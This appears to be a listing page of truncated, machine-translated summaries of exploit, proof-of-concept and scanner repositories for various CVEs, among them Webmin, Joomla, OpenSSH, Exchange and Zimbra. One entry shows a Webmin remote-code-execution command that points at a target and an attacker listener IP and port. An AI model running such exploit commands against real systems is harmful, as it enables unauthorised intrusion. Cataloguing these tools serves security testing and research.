CVE-2026-11561

CVE-2026-11561 — Apinizer SSTI / RCE Version Check Infra Nuclei-Vorlage zur Erkennung von Apinizer-Versionen unter 2026.04.6, die anfällig für CVE-2026-11561 Serverseitige Template-Injection, die zu Remote Code Execution führt, CVSS 9.8 sind. Verwendung root@kitploit: echo | nuclei -t...

telerik-scanner-cve-2017-9248

Telerik CVE-2017-9248 भेद्यता स्कैनर V2.0 एक व्यापक Python स्कैनर जो Telerik एंडपॉइंट्स की खोज करता है और एंटरप्राइज़-ग्रेड बल्क स्कैनिंग क्षमताओं के साथ CVE-2017-9248 क्रिप्टोग्राफिक भेद्यता का परीक्षण करता है। विशेषताएँ त्वरित और खोज मोड : एकल पथ परीक्षण या व्यापक खोज 50+ पथ बल्क स्कैनिंग : एक...

libinjection

libinjection SQL / SQLI tokenizer parser analyzer. For C and C++ PHP Python Lua Java external port LuaJIT/FFI https://github.com/p0pr0ck5/lua-ffi-libinjection external port See https://www.client9.com/ for details and presentations. Simple example: root@kitploit: include include include include...

CVE-2014-4936

CVE-2014-4936：Malwarebytes Anti-Malware 和 Anti-Exploit 升级劫持 ============= 该仓库包含 CVE-2014-4936 的概念证明（POC）。关于漏洞工作原理以及如何利用该POC进行攻击的完整文章已发布在此处： http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and 时间线： Malwarebytes Anti-Malware 漏洞发现日期：2014年6月18日 漏洞报告日期：2014年7月16日 版本 2.0....

checker-CVE-2024-6387

OpenSSH भेद्यता जाँचकर्ता अवलोकन यह स्क्रिप्ट लक्ष्य IP पतों या श्रेणियों की एक सूची को स्कैन करता है ताकि यह निर्धारित किया जा सके कि वे CVE-2024-6387 के लिए भेद्य हैं या नहीं। विशेषताएँ IP पते, डोमेन नाम, IP पते वाली फ़ाइल पथ, या CIDR नेटवर्क श्रेणियाँ स्कैन करता है। OpenSSH सेवा के लिए एक...

CVE-2023-23752

जूमला! सूचना प्रकटीकरण - CVE-2023-23752 शोषण CVE-2023-23752 के लिए शोषण 4.0.0 = जूमला = 4.2.7. उपयोग प्रोजेक्ट का उपयोग करने से पहले हमें आवश्यक पैकेज स्थापित करने की आवश्यकता होगी मैं पहले एक वर्चुअल वातावरण बनाने की सलाह देता हूं root@kitploit: pip install -r requierements.txt अवधारणा का प्रमाण...

CVE-2019-15107

CVE-2019-15107 webmin या minisever RCE स्क्रिप्ट उपयोग: v1.890 पर परीक्षण किया गया, लेकिन अन्य webmin संस्करणों पर भी काम करना चाहिए जिनमें यह बैकडोर स्थापित है। root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2020-0688-Scanner

CVE-2020-0688-स्कैनर यह स्क्रिप्ट एक IP/रेंज/CIDR को स्कैन करती है और खोजे गए Microsoft Exchange सर्वरों और संस्करणों को आउटपुट करती है। निर्दिष्ट IP/रेंज/CIDR को masscan द्वारा पोर्ट tcp/443 पर स्कैन किया जाएगा। सफल स्कैन के बाद यह बिल्ड संस्करण प्रदर्शित करने के लिए Outlook Web Access पेज स्रोत...

CVE-2022-31297

CVE-2022-31297 Haraj Script 3.7 - Reflected XSS शोषण शीर्षक: Haraj Script 3.7 - Reflected XSS तारीख: 2022-06-13 CVE: CVE-2022-31297 शोषण लेखक: Abdulaziz Saad @b4zb0z विक्रेता होमपेज: https://angtech.org/ सॉफ्टवेयर लिंक: https://angtech.org/product/view/3...

CVE-2018-15473

CVE-2018-15473 SSH-Username-Enumeration-Exploit OpenSSH 2.3 7.7 Versione modificata dell'exploit originale: https://www.exploit-db.com/exploits/45233 Convertito in Python3 Aggiunta opzione per wordlist di username Come Eseguire root@kitploit: Install the requirements: foo@bar:$ pip3 install -r...

CVE-2024-48392-PoC

CVE-2024-48392 Exploit Übersicht Dieses Repository enthält einen Proof-of-Concept PoC-Exploit für CVE-2024-48392, eine XSS-Schwachstelle, die in Orangescrum selbst gehostet sowie in der Premium-Version entdeckt wurde. CVE-ID: CVE-2024-48392...

CVE-2023-6000

CVE-2023-6000 PoC Wie funktioniert diese Erkennungsmethode? Diese Vorlage prüft den folgenden Pfad: /wp-content/plugins/popup-builder/readme.txt Basierend auf dem angegebenen Stable Tag gilt die Version als verwundbar, wenn sie älter als 4.2.3 ist. Wie führe ich dieses Skript aus? 1. Lade Nuclei...

CVE-2022-41352

PoC CVE-2022-41352 Come funziona questo metodo di rilevamento? Come indicato negli advisory, è stato scoperto un problema in Zimbra Collaboration ZCS 8.8.15 e 9.0; il template controlla le seguenti versioni: root@kitploit: - "8.8.15" - "9.0" Come eseguo questo script? 1. Scarica Nuclei da qui 2...

CVE-2025-14765-and-CVE-2025-14766

Laboratorio Interattivo sulle Vulnerabilità di Chrome Panoramica Questo laboratorio didattico interattivo simula due vulnerabilità critiche di Chrome CVE-2025-14765 e CVE-2025-14766 in un ambiente sicuro e controllato. Lo strumento visualizza i concetti di corruzione della memoria senza eseguire...

CMSsc4n

CMSsc4n Strumento per identificare se un dominio ha un CMS e determinarne la versione. Al momento, i CMS supportati da CMSsc4n sono WordPress, Moodle, Joomla, Drupal e Prestashop. Installazione Puoi scaricare l'ultima versione di CMSsc4n clonando il repository GitHub: root@kitploit: git clone...

cve-2022-1364

getestet in Bromite v95.0.4638.79 armChromePublic.apk...

cve-2024-6387-nuclei-template

CVE-2024-6387 Modello Nuclei Modello Nuclei per rilevare CVE-2024-6387 regreSSHion tramite la versione del software OpenSSH...

CVE-2020-25790

CVE-2020-25790 Typesetter CMS फ़ाइल अपलोड भेद्यता वातावरण डाउनलोड करने का तरीका root@kitploit: docker pull mtwf/typesettercve-2020-25790:5.1 docker run -it -d -p 80:80 mtwf/typesettercve-2020-25790:5.1 /bin/bash -c "service apache2 start;/bin/bash" typesetter खाता नाम और पासवर्ड admin:admin है...

PoC-CVE-2024-44349

PoC-CVE-2024-44349 Schwachstelle gefunden und getestet in Anteeo WMS - v4.7.31 Die Schwachstelle ermöglicht es Angreifern, einen SQL-Befehl innerhalb des Benutzernamen-Parameters zu konstruieren und Daten aus der zugrunde liegenden Datenbank preiszugeben. Die betroffenen Versionen von ANTEEO B2B...

Linux-4.19.72_CVE-2020-24490

Kernel Linux Esistono diverse guide per sviluppatori e utenti del kernel. Queste guide possono essere rese disponibili in vari formati, come HTML e PDF. Si prega di leggere per primo Documentation/admin-guide/README.rst. Per costruire la documentazione, usare make htmldocs o make pdfdocs. La...